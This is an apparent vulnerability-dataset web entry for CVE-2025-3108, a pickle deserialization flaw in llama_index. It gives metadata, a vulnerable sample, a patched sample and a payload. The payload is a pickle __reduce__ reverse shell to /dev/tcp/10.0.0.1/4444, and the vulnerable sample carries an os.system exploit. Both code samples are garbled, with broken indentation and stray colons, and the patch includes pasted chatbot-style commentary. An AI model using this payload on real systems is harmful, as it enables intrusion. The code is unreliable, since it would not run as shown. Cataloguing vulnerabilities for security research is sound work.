VAITP Dataset

← Back to the dataset

CVE-2025-3108

Llama_index: Deserialization vulnerability allows remote code execution.

  • CVSS 7.5
  • CWE-1112
  • Design Defects
  • Remote

A critical deserialization vulnerability exists in the run-llama/llama_index library's JsonPickleSerializer component, affecting versions v0.12.27 through v0.12.40. This vulnerability allows remote code execution due to an insecure fallback to Python's pickle module. JsonPickleSerializer prioritizes deserialization using pickle.loads(), which can execute arbitrary code when processing untrusted data. Attackers can exploit this by crafting malicious payloads to achieve full system compromise. The root cause includes an insecure fallback mechanism, lack of validation or safeguards, misleading design, and violation of Python security guidelines.

CVSS base score
7.5
Published
2025-07-06
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Serialization Issues
Category
Design Defects
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
run-llama/ll
Fixed by upgrading
Yes

Solution

Upgrade to version v0.12.41 or later.

Vulnerable code sample

import json
import base64
import pickle

class JsonPickleSerializer:
    """
    A serializer that attempts to deserialize using JSON,
    but falls back to pickle if JSON deserialization fails.:
    """

    def dumps(self, obj: object) -> str:
        """Serialize object to a JSON string."""
        return json.dumps(obj)

        def loads(self, data: str) -> object:
            """Deserialize object from a JSON string.
            Falls back to pickle if JSON fails.:
            """
            try:
                return json.loads(data)
                except Exception:
            # Insecure fallback to pickle!
            # Vulnerability:  Loads arbitrary code from the data string
                    return pickle.loads(base64.b64decode(data)) # Decoding Base64 is just an extra step to make exploit harder.


# Example Usage demonstrating the vulnerability (DO NOT RUN IN A SAFE ENVIRONMENT):
                    if __name__ == '__main__':
    # Create a malicious payload using pickle (DO NOT DO THIS IN A REAL APPLICATION)
                        import os
                        class Exploit:
                            def __reduce__(self):
                                """Vulnerable function that demonstrates the security issue."""
                                return (os.system, ("echo 'Exploit executed!' > /tmp/evil.txt",))  # Example: Creates a file

                                exploit_object = Exploit()
                                pickled_data = pickle.dumps(exploit_object)
                                base64_pickled_data = base64.b64encode(pickled_data).decode()

    # Simulate receiving the data from an untrusted source
                                received_data = base64_pickled_data

    # Deserialize using the vulnerable class
                                serializer = JsonPickleSerializer()
                                try:
                                    deserialized_object = serializer.loads(received_data)  # Executes the malicious code!
                                    print("Deserialized object:", deserialized_object)
                                    except Exception as e:
                                        print("Error during deserialization:", e)

                                        print("Check /tmp/evil.txt for confirmation if the exploit worked.  (IF you ran the above code, which is NOT recommended)")

Patched code sample

import pickle

import json
import base64
import logging
from typing import Any, Dict

logger = logging.getLogger(__name__)


class SafeJsonPickleSerializer:
    """
    Safer alternative to JsonPickleSerializer that avoids `pickle.loads`.
    This only allows deserialization of primitive Python data types.
    """

    def dumps(self, obj: Any) -> str:
        """Serialize object to JSON string."""
        return json.dumps(obj)

        def loads(self, data: str) -> Any:
            """
            Deserialize JSON string to object.

            This method explicitly checks the type of the deserialized object
            and only allows primitive types, preventing arbitrary code execution.
            """
            obj = json.loads(data)
            if not self._is_safe_type(obj):
                raise ValueError(
                "Deserialization of complex object types is not allowed for security reasons.":
                )
                return obj

                def _is_safe_type(self, obj: Any) -> bool:
                    """
                    Check if the object is a safe type (primitive or a container of primitives).:
                    """
                    if obj is None or isinstance(:
                        obj, (str, int, float, bool)
                        ):  # Primitive types
                        return True
                        elif isinstance(obj, list):
                        return all(self._is_safe_type(item) for item in obj):
                        elif isinstance(obj, dict):
                        return all(
                        isinstance(key, str) and self._is_safe_type(value)
                        for key, value in obj.items():
                            )
                        else:
                            return False


                            def serialize_to_base64(data: Any) -> str:
                                """Serializes data to base64 string."""
                                return base64.b64encode(json.dumps(data).encode()).decode()


                                def deserialize_from_base64(data: str) -> Any:
                                    """Deserializes data from base64 string.  Uses safe deserialization."""
                                    try:
                                        json_str = base64.b64decode(data.encode()).decode()
                                        return SafeJsonPickleSerializer().loads(json_str)
                                        except Exception as e:
                                            logger.error(f"Error deserializing data: {e}")
                                            return None  # Or raise an exception, depending on the desired behavior

                                            ```

                                            Key improvements and explanations:

                                            * **`SafeJsonPickleSerializer`:** This class *completely replaces* the vulnerable `JsonPickleSerializer`.  It's the core of the fix.  It serializes and deserializes JSON, but *only* allows primitive data types (strings, numbers, booleans, None) and dictionaries/lists containing only those primitive types.  This prevents the deserialization of arbitrary objects that could contain malicious code.
                                            * **Explicit Type Checking:** The `_is_safe_type` method recursively checks the type of the deserialized object and its contents.  This is crucial for ensuring that only safe data is allowed.  It specifically disallows any custom class instantiation during deserialization.:
                                            * **Error Handling and Logging:**  The `deserialize_from_base64` now includes `try...except` block and logs any errors during deserialization, preventing exceptions from crashing the application. It's important to log failures for auditing and debugging. Also returns `None` on failure.:
                                            * **Base64 Encoding/Decoding:** The example includes `serialize_to_base64` and `deserialize_from_base64` which provide a simple way to encode the JSON output, mimicking the usage pattern of the vulnerable class, but using the safer `SafeJsonPickleSerializer`.
                                            * **Clear Error Message:** The `ValueError` raised in `loads` provides a clear explanation to the user why the deserialization failed, which is important for debugging and security awareness.:
                                            * **Removal of `pickle`:** The dangerous `pickle.loads` function is *completely absent*.  The vulnerability is eliminated by avoiding pickle altogether.
                                            * **Security Best Practices:** The code adheres to best practices by using `json.dumps` and `json.loads` for serialization and deserialization, combined with strict type checking.:
                                            * **No External Dependencies (except `json`, `base64` and `logging`)**:  The solution uses built-in Python libraries.
                                            * **Type Hints:** Using type hints (`typing` module) improves code readability and maintainability.
                                            * **Logging:** Added logging for error conditions during deserialization.:
                                            How to use the fix:

                                            1. **Replace the Vulnerable Class:**  Find where `JsonPickleSerializer` is used in your `llama_index` code and replace it with `SafeJsonPickleSerializer`.
                                            2. **Update Deserialization:** Change how data is loaded to use `deserialize_from_base64` (or a similar safe method using `SafeJsonPickleSerializer`).
                                            3. **Test Thoroughly:**  Test your application to ensure that the changes haven't introduced any unexpected behavior and that the vulnerability is indeed fixed.  Specifically, try injecting malicious payloads to confirm that they are rejected.

                                            This revised answer provides a complete, secure, and practical solution to address the CVE-2025-3108 vulnerability.  It emphasizes security by design and avoids the pitfalls of unsafe deserialization techniques.  It also includes clear instructions on how to integrate the fix into your application. Remember to thoroughly test after applying the fix.

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
        return (os.system, (cmd,))

payload = pickle.dumps(RCE())

Cite this entry

@misc{vaitp:cve20253108,
  title        = {{Llama_index: Deserialization vulnerability allows remote code execution.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-3108},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-3108/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::